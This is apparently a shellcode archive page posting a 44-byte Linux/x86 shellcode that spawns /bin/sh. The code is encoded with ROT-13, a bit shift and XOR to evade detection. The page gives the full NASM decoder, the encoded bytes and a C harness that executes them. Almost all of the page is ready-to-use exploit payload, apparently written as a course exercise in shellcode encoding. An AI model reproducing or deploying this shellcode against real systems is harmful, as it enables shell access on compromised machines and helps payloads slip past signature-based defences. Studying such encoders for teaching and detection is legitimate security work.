what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 execve /bin/sh Encoded Shellcode

Linux/x86 execve /bin/sh Encoded Shellcode
Posted Apr 25, 2018
Authored by Nuno Freitas

44 bytes small Linux/x86 execve /bin/sh encoded shellcode using ROT-13 + RShift-2 + XOR.

tags | x86, shellcode
systems | linux
SHA-256 | 03a85af339f403d606be6acd748ccfd76016c2294871b5e9a2d3e0cc921a660c

Linux/x86 execve /bin/sh Encoded Shellcode

Change Mirror Download
/*
; Title : Execve /bin/sh Shellcode encoded with ROT-13 + RShift-2 + XOR
; Date : April, 2018
; Author : Nuno Freitas
; Blog Post : https://bufferoverflowed.wordpress.com/slae32/slae-32-shellcode-encoder/
; Twitter : @nunof11
; SLAE ID : SLAE-1112
; Size : 44 bytes
; Tested on : i686 GNU/Linux

NASM:

section .text

global _start

_start:
jmp short call_decoder

decoder:
pop esi ; pop the Shellcode address from the Stack
xor ecx, ecx
mov cl, shellcodelen ; Set the loop counter to shellcodelen

decode:
rol byte [esi], 0x2 ; Left Shift 2
xor byte [esi], cl ; XOR the byte with the ecx (counter)
sub byte [esi], 13 ; Undo ROT13

inc esi ; increment the offset (iterate over the bytes)
loop decode ; loop while zero flag not set

jmp short Shellcode

call_decoder:
call decoder ; Shellcode address will be pushed into the Stack
Shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23
shellcodelen equ $-Shellcode

*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\xeb\x12\x5e\x31\xc9\xb1\x13\xc0\x06\x02\x30\x0e\x80\x2e\x0d\x46\xe2\xf5\xeb\x05\xe8\xe9\xff\xff\xff\x4b\xf7\x13\x59\xcc\x8c\x63\x5e\x9f\x8d\x99\x9f\x1f\xa4\x3b\x6e\xc6\x36\x23";

void main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;
ret();
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close